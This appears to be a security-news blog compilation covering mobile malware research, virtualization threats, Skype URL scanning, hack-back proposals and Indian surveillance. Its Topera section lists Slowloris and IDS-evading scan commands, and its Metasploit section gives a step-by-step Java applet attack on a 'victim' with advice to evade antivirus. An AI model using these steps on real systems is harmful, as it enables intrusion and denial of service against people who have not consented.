Smartphone Sensors Could be Used to Activate Malware, Research Shows

Mobile phone sensors such as microphones, accelerometers and cameras might be used to initiate a malware outbreak on smartphones, according to researchers at the University of Alabama at Birmingham.

Fear not – it’s not the end of the digital world, but rather a what-if scenario to prepare the user for the next generation of mobile malware that circumvents the limitations of TCP/IP communications and evades intrusion detection mechanisms.

According to the researchers, the mobile phone’s sensor peripherals could be used for out-of-band communication to receive a trigger message that activates dormant bots on devices within range. Of course, in order for the communication to succeed, malware needs to be planted in advance via old-fashioned mechanisms (such as downloading apps via official or unofficial markets, social engineering attacks or platform exploitation).

“Unlike the traditional command and control communication over a centralized infrastructure (such as a cellular network), out-of-band communication is very hard to detect and even harder to prevent infected mobile bots,” claims the paper.

While the assumptions are interesting, the researchers left out a serious part of the business: the communication channel between the bot and the mothership. Modern malware is highly dependent on two-way communication, so if you’re planning to actually steal data, you’ll still need to send it via the Internet.

Common Virtualization Vulnerabilities and How to Mitigate Risks

Virtualization has eased many aspects of IT management but has also complicated the task of cyber security.The nature of virtualization introduces a new threat matrix, and administrators need to address the resulting vulnerabilities in their enterprise environments.

Critical Virtualization Vulnerabilities

Some attacks against virtual machine, or VM, environments are variations of common threats such as denial of service. Others are still largely theoretical but likely approaching as buzz and means increase. Keep an eye on these critical weaknesses:
VM sprawl:VMs are easy to deploy, and many organizations view them as hardware-like tools that don’t merit formal policies.This has led to VM sprawl, which is the unplanned proliferation of VMs.Attackers can take advantage of poorly monitored resources.More deployments also mean more failure points, so sprawl can cause problems even if no malice is involved.
Hyperjacking:Hyperjacking takes control of the hypervisor to gain access to the VMs and their data. It is typically launched against type 2 hypervisors that run over a host OS although type 1 attacks are theoretically possible. In reality, hyperjackings are rare due to the difficulty of directly accessing hypervisors.However, hyperjacking is considered a real-world threat, and administrators should take the offensive and plan for it.
VM escape:A guest OS escapes from its VM encapsulation to interact directly with the hypervisor.This gives the attacker access to all VMs and, if guest privileges are high enough, the host machine as well. Although few if any instances are known, experts consider VM escape to be the most serious threat to VM security.
Denial of service:These attacks exploit many hypervisor platforms and range from flooding a network with traffic to sophisticated leveraging of a host’s own resources.The availability of botnets continues to make it easier for attackers to carry out campaigns against specific servers and applications with the goal of derailing the target’s online services.
Incorrect VM isolation:To remain secure and correctly share resources,VMs must be isolated from each other.Poor control over VM deployments can lead to isolation breaches in which VMs communicate.Attackers can exploit this virtual drawbridge to gain access to multiple guests and possibly the host.
Unsecured VM migration:This occurs when a VM is migrated to a new host, and security policies and configuration are not updated to reflect the change.Potentially, the host and other guests could become more vulnerable.Attackers have an advantage in that administrators are likely unaware of having introduced weaknesses and will not be on alert.
Host and guest vulnerabilities:Host and guest interactions can magnify system vulnerabilities at several points.Their operating systems, particularly Windows, are likely to have multiple weaknesses.Like other systems, they are subject to vulnerabilities in email, Web browsing, and network protocols.However, virtual linkages and the co-hosting of different data sets make a serious attack on a virtual environment particularly damaging.

How to Mitigate Risk

Fortunately, security engineers can take several steps to minimize risk.The first task is to accurately characterize all deployed virtualization and any active security measures beyond built-in hypervisor controls on VMs.Security controls should be compared against industry standards to determine gaps.Coverage should include anti-virus, intrusion detection, and active vulnerability scanning.Additionally, consider these action steps:
VM traffic monitoring:The ability to monitor VM backbone network traffic is critical.Conventional methods will not detect VM traffic because it is controlled by internal soft switches.However, hypervisors have effective monitoring tools that should be enabled and tested.
Administrative control:Secure access can become compromised due to VM sprawl and other issues.Ensure that authentication procedures, identity management, and logging are ironclad.
Customer security:Outside of the VM, make sure protection is in place for customer-facing interfaces such as websites.
VM segregation:In addition to normal isolation, strengthen VM security through functional segregation.For example, consider creating separate security zones for desktops and servers.The goal is to minimize intersection points to the extent feasible.
Conclusion
Virtualization threats can seem abstract but are no more so than other attacks. Motives and methods are fundamentally the same, and administrators must counter with similar proven techniques.

Topera IPv6 analysis tool: the other side

What's Topera?

Topera is a new security tools for IPv6, with the particularity that their attacks can't be detected by Snort.
Snort is the most known IDS/IPS and is widely used in many different critical environments. Some commercial tools (Juniper or Checkpoint ones) use it as detection engine also.
Mocking snort detection capabilities could suppose a high risk in some cases.
All the community is invited to test it in any environment and we would be thankful if you send us any feedback.
This tool was presented in the second edition of the Security Conference "Navaja Negra" (http://www.navajanegra.com) by Daniel Garcia a.k.a cr0hn (@ggdaniel) and Rafa Sanchez (@r_a_ff_a_e_ll_o ).

What's new?

New version of Topera (0.0.2) include these improvements:

1. Slow HTTP attacks (Slowloris over IPv6).
2. Improved TCP port scanner.

Why?

Our intention is to promote awareness of and show the security implications of IPv6.

How to use it?

Help

List plugins:

# topera.py -L

Topera loris mode:

Run with default options:

# python topera.py -M topera_loris -t fe80:b100:::c408

Run specifing: destination port, delay between connections, and number os extensions headers:

# python topera.py -M topera_loris -t fe80:b100:::c408 \
--dport 8080 --delay 0 --headers-num 0 -vvv

Topera in TCP port scanner mode:

Run with default options:

# python topera.py -M topera_tcp_scan -t fe80:b100:::c408

Run specifing: ports to scan, delay between connections, and number os extensions headers:

# python topera.py -M topera_tcp_scan -t fe80:b100:::c408 \
-p 21,22,23,80,8080 --scan-delay 0 --headers-num 0 -vvv

Detective Arrested for Hacking out of Obsessive Love

New York detective was arrested after allegedly spying on over 30 people, including police colleagues, to discover if any of them was sleeping with his ex, according to The Register. The 42-year-old cop hired hackers to get their usernames and passwords.

Edwin Vargas allegedly spent over $4,000 for email-hacking services, and appeared before a magistrate judge charged with conspiracy to commit computer hacking.

“As alleged, Detective Edwin Vargas paid thousands of dollars for the ability to illegally invade the privacy of his fellow officers and others,” Manhattan U.S. Attorney Preet Bharara said. “He is also alleged to have illegally obtained information about two officers from a federal database to which he had access based on his status as an NYPD detective. When law enforcement officers break the laws they are sworn to uphold, they do a disservice to their fellow officers, to the department, and to the public they serve, and it will not be tolerated.”

The Bronx detective had suspected his ex-lover, with whom he had split after having a child together, had started a new relationship with another cop. To find out, Vargas paid between $50 and $250 to cyber-criminals.

The detective is also accused of paying hackers to spy on mobile phone records, and illegally accessing the National Crime Information Center’s database. After posting a $50,000 bond, Vargas was released on bail. He now faces a maximum sentence of one year in prison.

Why Hosters Should Care About Web Security

Earlier this week, the “Moroccan Ghosts” published a list of 52 defaced Israeli sites, replacing site
content with political propaganda pages (and some cool Moroccan music).
Looking into the hacked domain list, we noticed that most of the domains in the disclosed list are hosted on the same server. In this case, a large hosting company in Israel. It was relatively easy to see that the server itself runs PHP v5.


Although this is merely educated speculation, it seems that the hackers were able to exploit a configuration mistake in the server rather than individual vulnerabilities in the hosted applications or taking over the entire server through a vulnerability in a single application.In a shared hosting environment “one rotten apple spoils the barrel” – so a single vulnerability may result in owning the entire server and the database that holds data for all applications.
In other words, when an application is hosted on a shared hosting server, even if one application owned by company A is secured, if a second application owned by company B is not so secure and is being hacked, the end result may be a breach to both. This is also true to a secured application on an insecure platform.
What can hosters do to prevent incidents like this?

• Proper server administration should enable creating silos in terms of database servers, virtual directories and permissions per customer. This reduces the risk in some ways but does not remove it.
• Hosters should offer the same compartmentalization services they offer to physical customers, to the digital and hosted customers by adding web application controls that will reduce the risk of such hacks.
• Make sure that the management platform is secure, since lots of the hoster hacks are breached via an insecure management console that allows file changes and DNS changes per user provisioning, or globally.
• Offer web vulnerability scans to your customers, because most companies do not have the experience that hosters have dealing with web applications and the security required around them. It makes sense that customers that outsource hosting their applications will appreciate outsourcing the security around them. However, to complete the cycle scanning is not enough! Once vulnerabilities are found it is critical to use controls such as Web Application Firewalls to remediate the findings.

Skype with care – Microsoft is reading everything you write

Anyone who uses Skype has consented to the company reading everything they write. The H's associates in Germany at heise Security have now discovered that the Microsoft subsidiary does in fact make use of this privilege in practice. Shortly after sending HTTPS URLs over the instant messaging service, those URLs receive an unannounced visit from Microsoft HQ in Redmond.
A reader informed heise Security that he had observed some unusual network traffic following a Skype instant messaging conversation. The server indicated a potential replay attack. It turned out that an IP address which traced back to Microsoft had accessed the HTTPS URLs previously transmitted over Skype. Heise Security then reproduced the events by sending two test HTTPS URLs, one containing login information and one pointing to a private cloud-based file-sharing service. A few hours after their Skype messages, they observed the following in the server log:

65.52.100.214 - - [30/Apr/2013:19:28:32 +0200]
"HEAD /.../login.html?user=tbtest&password=geheim HTTP/1.1"

The access is coming from systems which clearly belong to Microsoft.
Source: Utrace They too had received visits to each of the HTTPS URLs transmitted over Skype from an IP address registered to Microsoft in Redmond. URLs pointing to encrypted web pages frequently contain unique session data or other confidential information. HTTP URLs, by contrast, were not accessed. In visiting these pages, Microsoft made use of both the login information and the specially created URL for a private cloud-based file-sharing service.
In response to an enquiry from heise Security, Skype referred them to a passage from its data protection policy:
"Skype may use automated scanning within Instant Messages and SMS to (a) identify suspected spam and/or (b) identify URLs that have been previously flagged as spam, fraud, or phishing links."
A spokesman for the company confirmed that it scans messages to filter out spam and phishing websites. This explanation does not appear to fit the facts, however. Spam and phishing sites are not usually found on HTTPS pages. By contrast, Skype leaves the more commonly affected HTTP URLs, containing no information on ownership, untouched. Skype also sends head requests which merely fetches administrative information relating to the server. To check a site for spam or phishing, Skype would need to examine its content.
Back in January, civil rights groups sent an open letter to Microsoft questioning the security of Skype communication since the takeover. The groups behind the letter, which included the Electronic Frontier Foundation and Reporters without Borders expressed concern that the restructuring resulting from the takeover meant that Skype would have to comply with US laws on eavesdropping and would therefore have to permit government agencies and secret services to access Skype communications.
In summary, The H and heise Security believe that, having consented to Microsoft using all data transmitted over the service pretty much however it likes, all Skype users should assume that this will actually happen and that the company is not going to reveal what exactly it gets up to with this data.

Hack the hacker: US Congress urged to legalize cyber-attacks to fight cybercrimes

US Congress should legalize attacking hacker’s computers with malware, physically destroy networks and take photos of data thieves and copyright violators with their own cameras in order to punish IP thieves, the IP Commission recommends.
The commissioners - former US government officials and military men - say that the “scale of international theft of American intellectual property (IP) is unprecedented”. However, the US government response has been “utterly inadequate to deal with the problem.”

"Almost all the advantages are on the side of the hacker; the current situation is not sustainable," the commissions's report says.

“New options need to be considered,” the authors call, then adding that current laws are limited and “have not kept pace with the technology of hacking.”

Thus, the commission suggests allowing active network retrieving stolen information, “altering it within the intruder’s networks, or even destroying the information within an unauthorized network."

For example, locking down the computer of unauthorized users and forcing them to come out to police could be one of the options.

“The file could be rendered inaccessible and the unauthorized user’s computer could be locked down, with instructions on how to contact law enforcement to get the password needed to unlock the account,” the commission recommended.

In other words, authors suggest legalizing ransomware - an extortion tool used by organized criminals, when malware that blocks access to the computer system it infects, and demands a ransom paid to the creator to remove the restriction.

Such measures, the commissioners stressed, do not violate existing laws, but still might help to prevent attacks and even provide both time and evidence for law enforcement to investigate the cyber-crime.

As additional measures, the report recommends “physically disabling or destroying the hacker’s own computer or network,” implanting malware in the hacker’s network or photographing the hacker using his own system’s camera.

“The legal underpinnings of such actions taken at network speed within the networks of hackers, even when undertaken by governments, have not yet been developed,” the authors say.

So, if counterattacks against hackers were legal, companies could use a variety of techniques and cause severe damage to the capability of IP pirates.

"These attacks would raise the cost to IP thieves of their actions, potentially deterring them from undertaking these activities in the first place," the report concludes.

However, if counterattacks were legalized, this would not be just about companies and hacker. Some pirated movies or songs on private computers, could be deemed an IP theft and allow rights holders to do horrible things to suspected systems.

Pawning Someone's PC with Java Signed Applet Social Engineering Code Execution from Metasploit

Metasploit is one of the greatest open source tools which helps penetration tester's lives easier. In this article I would like to demonstrate how to pawn someone's computer by using the Java Signed Applet Social Engineering Code Execution from the Metasploit Console. To fire up Metasploit, type msfconsole and follow the instructions:

1. Load the exploit plugin:

use exploit/multi/browser/java_signed_applet

2. Set the srvport which is the local port to listen on, by default it is set to port 8080. If you want to change the port use the command (for example port 9191):

set srvport 9191

(In my case I didn't change the port but I still demonstrated from the screenshot below on how to change the srvport to 8080)

3. Set the URL path, in my case I used /gaylink:

set uripath /gaylink

4. Run the exploit with the command below:

exploit

5. Now send the local IP assigned (in my case 192.168.11.2:8080/gaylink) by Metasploit  or the URL to your victim and convince him to click on the alert box (applet) that will popup just like the screenshot below.

If he runs the applet, you should be able to establish a meterpreter session then! Below is a screenshot of a total pawnage :)

Take note that antiviruses and firewalls detect this kind of attack so use your head in evading the antivirus and firewall.

Indian Government to ask Skype, others to set up servers in India: Report

The Indian government will ask popular Internet-based free video calling service Skype and other such applications providers to set their servers in India in order to continue providing their services here. According to a ToI report, the government feels that ‘unregulated Internet architecture in India and highly decentralized encrypted structure of Skype makes it difficult for the security agencies to monitor the service, which could be misused to breach the national security.

The Indian government has thrown a fit earlier over encrypted messenger service by BlackBerry and Internet services like Facebook, Twitter and others, for national security reasons.
Along with this, other Internet related issues were collectively taken up by the representatives of the Indian Intelligence Bureau, other security agencies and the Police force along with senior officials from telecom and IT departments in a home ministry meeting held on April 23.
“Any service provider, who provides communication service in India via any media through Voice-over-Internet Protocol ( VoIP), should be mandated to be registered in India, having its office, server located in the country and therefore, subject to Indian laws. Necessary provisions to this effect may be incorporated through amendment in Indian Telegraph Act, 1885 and Information Technology Act, 2000,” according to the minutes of the meeting held on April 23.
The government wants to able to control the Internet services including social networking sites and the Internet telephony up to an extent that it could limit the usage as well as completely stop access to these service in certain states or zones in the country, depending upon the sensitivity of the area. For this, it will ask mobile device players along with the Internet service providers to ‘segregate Internet Protocol (IP) addresses on a state basis’, which will allow the state government to monitor and better control these services.

The InfoSec Path Less Travelled

A designated board member of the company gets caught forwarding critical business research data to his personal email ID. The ensued investigation found he was on the verge of forming a private limited company in the same area of business.

In a similar incident- although of an innocent nature and unintentional with no mala fide objective - a top level employee was caught forwarding emails to a personal ID due to an issue with the company’s email client. He had no clue, whatsoever, that this was a serious breach of the company’s information security policy. The result- a senior executive of nine years was fired.

These are just some examples of top management complacency towards information security. Similar cases of data breach are rising by alarming numbers. If CXOs can be so careless, one can reckon the degree of security awareness of an average employee.

This exposes a gaping hole in the enterprises’ preparedness in dealing with insider threat. The question staring us in the face is: have organisations missed out on the most basic and essential tenet of building an overall culture of security?

“The cultural and behavioural aspects of employees are not incorporated in the information security policy, at the level it should be. In the sense that most of the employees feel that the security for the company is the job of CISO or the person in-charge,” says Vicky Shah, Consultant, The Eagle Eye.

Users should feel responsible and understand that their collective wisdom will strengthen the overall security posture of the company. The culture of employees taking the onus of ensuring IT security by following the regular hygiene, rules, strictures, regulations will ensure the desired level of security preparedness.

In the absence of this culture, no information security awareness campaigns will come to fruition, irrespective of how attractive, interactive and intuitive they are. So, how do companies instil the security culture in employees?

Measuring Employees’ Security Posture

The most important step for the CISO’s office in building the requisite security culture is to assess the alertness of employees towards information security. This can help unearth their complacency towards handling security issues. Sometimes going off the beaten track can be more useful than the traditional tricks and leave a more profound impact on the employees’ mind. This will make the employees start taking security more seriously, thus setting a firm base for a strong culture of information security. While the usual methods have their advantages, the non-conventional ways can have a more lasting impact.

Offbeat Techniques To Check Security Posture

Here are some offbeat techniques that CIOs/CISOs can use, as well as some real-life examples of deployment of those techniques.

Technique 1

It’s essential to be more practical and direct in checking an employee’s security readiness. “Apart from IT infrastructure, penetration testing with social engineering can be used on employees. The attempt is to see whether employees fall prey to the scheme. If they do, they have to be sensitised of the repercussions if the same was a real breach attempt,” says Vishal Salvi, CISO and Senior VP, HDFC Bank. Social engineering means sending deceptive messages to employees to divulge information. The aim is to test whether employees follow the set policies. The deception is caused by an internal employee. 

Technique 2

Companies can also opt for options of hiring a consultant and granting him/her special rights to check employee readiness. Shah cites an example of how his team did a physical penetration testing assignment for a company to check the security preparedness of the team responsible for a high security zone in the company, where all employees do not have access.

Shah informs that this part of the client’s office is administered under special access controls with only certain employee functions allowed to visit and access the resident IT infrastructure. To check whether the deputed employees followed the procedures, Shah’s team was asked to enter the zone under the guise of an audit team. To the company’s surprise, the team was given complete access after verbally assuring all necessary permissions were taken and what followed was even more shocking. “Our team went up to their server room and in spite of all the information security policies in place, we were able to penetrate the IT systems by using social engineering techniques,” says Shah.

Post the shocker, a series of drills were conducted after listing out access control procedures to their last granularity. The objective was to have rigid processes in place, which means that even an audit team visiting the site has to adhere to the regulations like any other authorised person would.

Technique 3

A simple SMS can also go a long way to thwart information security breaches and unauthorised usage. “I consulted one of my clients to run a customised SMS campaign. The users in general were sent text messages on the employee and company liabilities in the eventuality of an information security breach. As part of the campaign, employees accessing porn sites or other objectionable content, in particular, were warned with customised SMSes. It was made very clear in the message that the viewing of porn sites is a criminal offence with the specified imprisonment and penalty,” says Prashant Mali, President, Cyber Law Consulting.

Why an SMS? The idea is to send the message without hurting the employees. An SMS issued from an official location acts as a soft way of communication as against a memo, which can be taken otherwise. The campaign was a success. Furthermore, any change in Information Security policy or security incident was also informed to employees via SMSes. The exercise was done with due care ensuring that the identity of the person was not revealed. 

This has been further supplemented with the company’s information security team regularly tracking employee internet browsing patterns. It has gone to the extent of openly displaying objectionable website URLs viewed by employees. The website list is put up in the office canteen. The objective is to act as a deterrent against other employees to log on to the same sites. The employees are also warned of prospective HR action in case of a similar breach.

Technique 4

Another technique is to ask the system administrator to check how the employees respond to their emails IDs getting deactivated: whether they are following the set procedures, what kind of turnaround time under which the email ID is activated again? This reveals the particular employees’ alertness towards getting things done under the time frame,” says Shah.

Citing a client’s example where such an assessment was done, Shah informs that the assessment found most of the employees missing out on informing the risk officer. “The set procedure was to inform the system administrator and fill out a form to update the risk officer. However, only the former was informed and not the latter,” he adds.

The point to be driven home here is that an email malfunction is not a technical issue but an information security risk.

Most of the high profile information security breach events in 2011 were the handiwork of lame threat vectors- simple exploit in the excel software in RSA and writing a few lines of code to change ID in case of Citi Bank. These cases just point to a simple fact - companies should make sure the employees are, at all times, well-versed with the basics and be prepared to quickly respond to any anomaly that is noticed.

Indian Government Plans Digital Central Monitoring System – CIS India

Starting from this month, all telecommunications and Internet communications in India will be analyzed by the government and its agencies. This means that everything we say or text over the phone, write, post or browse over the Internet will be centrally monitored by Indian authorities. This totalitarian type of surveillance will be incorporated in none other than the Central Monitoring System (CMS).
The Central Monitoring System (CMS)
The Central Monitoring System (CMS) may be another step in the wrong direction, especially with the lack of privacy laws to protect Indian citizens against potential abuse. Yet, all telecommunications and internet communications are to be monitored by Indian authorities through the CMS, despite the fact that it remains unclear how our data will be used.
The CMS was prepared by the Telecom Enforcement, Resource and Monitoring (TREM) and the Centre for Development of Telematics (C-DoT) and is being manned by the Intelligence Bureau. The CMS project is likely to start operating this month. The Information Technology Amendment Act 2008 enables e-surveillance. The government plans to create a platform that will include all the service providers in Delhi, Haryana and Karnataka creating central and regional databases to help central and state level law enforcement agencies in interception and monitoring. Without any manual intervention from telecom service providers, CMS will equip government agencies with Direct Electronic Provisioning, filter and provide Call Data Records (CDR) analysis and data mining to identify the personal information and provide alerts of the target numbers.
The estimated cost of CMS is Rs. 4 billion. It will be connected with the Telephone Call Interception System (TCIS) which will help monitor voice calls, SMS and MMS, fax communications on landlines, CDMA, video calls, GSM and 3G networks. Agencies which will have access to the CMS include the Research and Analysis Wing (R&AW), the Central Bureau of Investigation (CBI), the National Investigation Agency (NIA), the Central Board of Direct Taxes (CBDT), the Narcotics Control Bureau, and the Enforcement Directorate (ED). Last October, the NIA approached the Department of Telecom requesting for connection with the CMS to help it intercept phone calls and monitor social networking sites without the cooperation of telcos. NIA is currently monitoring eight out of 10,000 telephone lines and if connected with the CMS, NIA will also get access to e-mails and other social media platforms. Essentially, CMS will be converging all the interception lines at one location for Indian law enforcement agencies to access them. CMS will be capable of intercepting our calls and analyzing our data on social networking sites, and also tracking encrypted signals. Thus our attempts to protect our data from ubiquitous surveillance would be futile.
In light of the CMS installation, the Mumbai police set up a ´social media lab´ last month to monitor Facebook, Twitter and other social networking sites. Staffed with 20 police officers, this lab would keep an eye on issues being publicly discussed and track matters relating to public security. According to police spokesman Satyanarayan Choudhary, the lab will be used to identify trends among the youth to plan law and order accordingly. However, fears have arisen that the lab may be used to stifle political debate and freedom of expression. The arrest of two Indian women last November over a Facebook post during Bal Thackeray’s death was proof that the monitoring of our communications can potentially oppress our freedom and human rights. Now that all our online activities will be under the microscope, will the CMS security trade-off be worth it?
Surveillance in the name of Security
In a digitised world, threats to security have been digitised. Terrorism is considered to be a product of globalisation and the internet appears to be a tool used by terrorists. Hence governments all around the world are convinced that surveillance is probably one of the most effective methods in detecting and prosecuting terrorists. So all movement, action, interests, ideas and everything that could define an individual are closely being monitored. If everything about our existence is closely monitored and analysed, it seems likely that we will be instantly detected and prosecuted if engaged in illegal activity. But according to security expert Bruce Schneier, searching for a terrorist through data mining is like looking for a needle in a haystack. Generally, the bigger the amount of data, the bigger the probability of an error in matching profiles. Hence, when our data is being analysed through data mining, the probability of us being charged for a crime we did not commit is real. Nonetheless, CMS is going to start operating soon in an attempt to enable law enforcement agencies to tackle crime and terrorism.
A few days ago, I had a very interesting chat with an employee at SAS Institute (India) Pvt. Ltd. in Bangalore, a wholly owned subsidiary of SAS Institute Inc. SAS produces software solutions and services to combat fraud in financial services, identify cross-sell opportunities in retail. All the business issues it addresses are based on three capabilities: information management, analytics and business intelligence. Interestingly, SAS also produces social network analysis which ‘helps institutions detect and prevent fraud by going beyond individual and account views to analyze all related activities and relationships at a network dimension’. Thus, a social network analysis solution uncovers previously unknown network connections and relationships, even to a terrorist organisation enabling more efficient investigations.
According to the SAS employee I spoke to, the company provides similar analysis to Indian law enforcement agencies and aims to support the CMS project in an attempt to tackle crime and terrorism arguing that their social network analysis solution only analyzes open source data thus respecting online individual privacy. Cyber security experts have argued in favour of the Mumbai social media lab stating that the idea that the privacy of our messages and online activity would be intercepted is a misconception.
It was also argued that there is no harm in creating monitoring centres, especially since other countries, such as the U.S., are conducting similar surveillance, thus justifying it in the name of security.
CMS targeting individuals: myth or reality?
Does CMS really target us individually as the cyber security experts in India claim? Lets look at the following hypothesis:

The CMS can surveille and target individuals, if Indian law enforcement agencies have access to individuals content and non-content data and are simultaneously equipped with the necessary technology to analyse their data.

The two independent variables of the hypothesis are: (1) Indian law enforcement agencies have access to individuals´ content and non-content data, (2) Indian law enforcement agencies are equipped with the necessary technology to analyse individuals´ content and non-content data. The dependent variable of the hypothesis is that the CMS can target individuals, which can only be proven once the two independent variables have been confirmed.
However, the surveillance industry in India is a vivid reality. ClearTrail is an Indian surveillance technology company which provides communication monitoring solutions to law enforcement agencies around the world including, mass monitoring of IP and voice networks, targeted IP monitoring, tactical Wi-Fi monitoring and off-the-air interception, among others. Indian law enforcement agencies are equipped with technologies and solutions capable of targeting us individually and of monitoring our private online activity.
Shoghi Communications Ltd. is just another example of an Indian surveillance technology company. WikiLeaks has published a brochure with one of Shoghi´s solutions: the Semi Active GSM Monitoring System which can intercept communications from any GSM service providers in the world and has a 100% target call monitor rate without any help from the service provider. Indian law enforcement agencies are probably being equipped with such systems which would enable CMS to monitor telecommunications more effectively.
In general, many companies, globally, produce surveillance products and solutions for supply to law enforcement agencies around the world. However, if such technology is used solely to analyse open source data, how do law enforcement agencies expect to detect criminals and terrorists? In other words, how can they access our ´private´ online communications to define whether we are a terrorist or not?
Law enforcement requests reports published by companies, such as Google and Microsoft, confirm the fact that law enforcement agencies have access to both our content and non-content data, much of which was disclosed to Indian law enforcement agencies. The various surveillance technology companies ensure that Indian law enforcement agencies are equipped to analyse our data and match patterns.
Thus, the arguments brought forth by cyber security experts in India appear to be weak. So how does CMS also affect our human rights?
No privacy legislation currently exists in India. The telephone tapping laws in India are weak and violate constitutional protections. The Information Technology Amendment Act 2008 has enabled e-surveillance to reach its zenith, but yet surveillance projects, such as CMS, lack adequate legal backing.  All individuals can potentially be targeted and monitored, regardless of whether they have been involved in illegal activities. The following questions in regards to the CMS remain vague: Who can authorise the interception of telecommunications and Internet communications and access to intercepted data? Can data monitored by the CMS be shared between third parties and if so, under what conditions? Is data monitored by CMS retained and if so, for how long and under what conditions? Do individuals have the right to be informed about their communications being monitored and about data retained about them?
In order to ensure that our right to privacy and other human rights are not breached, parliamentary oversight of intelligence agencies in India is a minimal prerequisite. E-surveillance regulations should be enacted, covering both policy and legal issues pertaining to the CMS ensuring that human rights are not infringed.
A version of this post was published on Centre for Internet & Society, India website

The Centre for Internet and Society is a non-profit research organization that works on policy issues relating to freedom of expression, privacy, accessibility for persons with disabilities, access to knowledge and IPR reform, and openness (including open government, FOSS, open standards, etc.), and engages in academic research on digital natives and digital humanities.

Turning Off IPhone Critical to Pilots Citing Interference

Play iPhones on Planes Blamed for Navigation Disruption

The regional airliner was climbing past 9,000 feet when its compasses went haywire, leading pilots several miles off course until a flight attendant persuaded a passenger in row 9 to switch off an Apple Inc. (AAPL) iPhone.

Enlarge image

The cockpit of a Boeing Co. 787 Dreamliner is shown during an event in Arlington, Virginia. Laboratory tests have shown some devices broadcast waves powerful enough to interfere with airline equipment, according to NASA, aircraft manufacturer Boeing Co. and the U.K.’s Civil Aviation Authority. Photographer: Joshua Roberts/Bloomberg

Enlarge image

Even Delta Air Lines Inc., which argued for relaxed rules, told the U.S. Federal Aviation Administration its pilots and mechanics reported 27 suspected incidents of passenger electronics causing aircraft malfunctions from 2010 to 2012. Photographer: David Paul Morris/Bloomberg

“The timing of the cellphone being turned off coincided with the moment where our heading problem was solved,” the unidentified co-pilot told NASA’s Aviation Safety Reporting System about the 2011 incident. The plane landed safely.
Public figures from U.S. Senator Claire McCaskill to actor Alec Baldwin have bristled at what they say are excessive rules restricting use of tablets, smartphones, laptops and other devices during flights.
More than a decade of pilot reports and scientific studies tell a different story. Government and airline reporting systems have logged dozens of cases in which passenger electronics were suspected of interfering with navigation, radios and other aviation equipment.
The FAA in January appointed an advisory committee from the airline and technology industries to recommend whether or how to broaden electronics use in planes. The agency will consider the committee’s recommendations, which are expected in July, it said in a statement.
Laboratory tests have shown some devices broadcast radio waves powerful enough to interfere with airline equipment, according to NASA, aircraft manufacturer Boeing Co. (BA) and the U.K.’s Civil Aviation Authority.

Airlines Split

Even Delta Air Lines Inc. (DAL), which argued for relaxed rules, told the U.S. Federal Aviation Administration its pilots and mechanics reported 27 suspected incidents of passenger electronics causing aircraft malfunctions from 2010 to 2012. Atlanta-based Delta said it couldn’t verify there was interference in any of those cases.
The airline industry has been divided. Delta said in its filing that it welcomes more electronics use because that’s what its passengers wanted. United Continental Holdings Inc. said it preferred no changes because they’d be difficult for flight attendants to enforce.
CTIA-The Wireless Association, a Washington trade group representing mobile companies, and Amazon.com Inc. (AMZN), the Seattle online retailer that sells the Kindle e-reader, urged the U.S. FAA last year to allow wider use of devices. Personal electronics don’t cause interference, CTIA said in a blog post last year.

10,000 Feet

Passengers’ use of technology and wireless services “is growing by leaps and bounds” and should be expanded as long as it is safe, the Consumer Electronics Association, an Arlington, Virginia-based trade group, said in its filing to the FAA last year.
Federal Communications Commission Chairman Julius Genachowski agreed in a Dec. 6 letter to the FAA.
Broader use of on-board electronics would help providers of approved aircraft Wi-Fi services by letting passengers use them longer. Gogo Inc. (GOGO), based in Itasca, Illinois, says it has 82 percent of that market in North America, and Qualcomm Inc. (QCOM) on May 9 won permission from the FCC to proceed with a planned air-to-ground broadband service for Wi-Fi equipped planes.
The FAA prohibits use of electronics while a plane is below 10,000 feet, with the exception of portable recording devices, hearing aids, heart pacemakers and electric shavers.
Once a flight gets above that altitude, devices can be used in “airplane mode,” which blocks their ability to broadcast radio signals, according to the FAA. There’s an exception for devices that aircraft manufacturers or an airline demonstrates are safe, such as laptops that connect to approved Wi-Fi networks.

Inflight Wi-Fi

The potential risks from personal electronic devices are increasing as the U.S. aviation system transitions to satellite-based navigation, according to the FAA. In order to improve efficiency, planes will fly closer together using GPS technology.
As a result, interference from electronics “cannot be tolerated,” the agency said last year.
While sticking with its prohibitions on use during some phases of flight, the FAA starting in 2010 issued guidelines allowing broader use of personal electronics.
Following techniques suggested by RTCA Inc., a Washington-based non-profit that advises the FAA on technology, airlines have been able to install Wi-Fi networks allowing passengers to browse the Web in flight.

No Tolerance

Four in 10 airline passengers surveyed in December by groups including the CEA said they want to be able to use electronic devices in all phases of flight. Thirty percent of passengers in that same study said they’d accidentally left on a device during a flight.
McCaskill, a Missouri Democrat, has called for lifting restrictions on non-phone devices such as the Kindle if passengers keep them in airplane mode, Drew Pusateri, her spokesman, said in an interview.
The existing rules are “ridiculous,” she said in an interview.
“I was aware from the research that’s been done that there has never been an incident of a plane having problems because of someone having a device on in the cabin,” she said.
The dangers from radio waves interfering with electronic equipment has been known for decades. A fire aboard the aircraft carrier USS Forrestal in 1967 killed 134 people, when a rocket on a fighter jet accidentally fired after a radar beam triggered an electronic malfunction, according to a 1995 NASA review.

GPS Useless

Restrictions on U.S. commercial aircraft began in 1966 after research found some portable radios interfered with navigation equipment, according to the FAA’s request last year for comments on whether it should change existing rules.
In one 2004 test, a now-discontinued Samsung Electronics Co. (005930)wireless phone model’s signal was powerful enough to blot out global-positioning satellites, according to NASA. The device, which met all government standards, was tested because a corporate flight department had discovered the phone rendered a plane’s three GPS receivers useless, NASA’s researchers reported.
While incidents haven’t led to any commercial accidents and and are difficult to recreate afterward, they continue to pile up. A log kept by the Montreal-based International Air Transport Association airline trade group recorded 75 cases of suspected interference from 2003 to 2009, Perry Flint, a spokesman for the group, said in an interview.

Ghost Theories

Peter Bernard Ladkin, a professor of computer networks at the University of Bielefeld in Germany, compiled similar accounts from pilots in Europe, he said in an interview.
“These are serious, conscientious pilots,” Ladkin said. “They know what they’re doing. They don’t subscribe to theories about ghosts or something.”
Damaged devices have transmitted on frequencies they weren’t designed for, according to David Carson, an associate technical fellow at Boeing who has participated in industry evaluations of electronics.
If those radio waves reach an antenna used for navigation, communication or some other purpose, it may distort the signal it’s supposed to receive.
Inflight Wi-Fi systems are safe in part because devices connect to them at low power levels, according to Carson, who was co-chairman of an RTCA panel that produced testing standards.
Devices searching for a faraway connection, such as a mobile phone trying to connect to a ground network in flight, send out more powerful radio waves, he said.

Pilots’ IPads

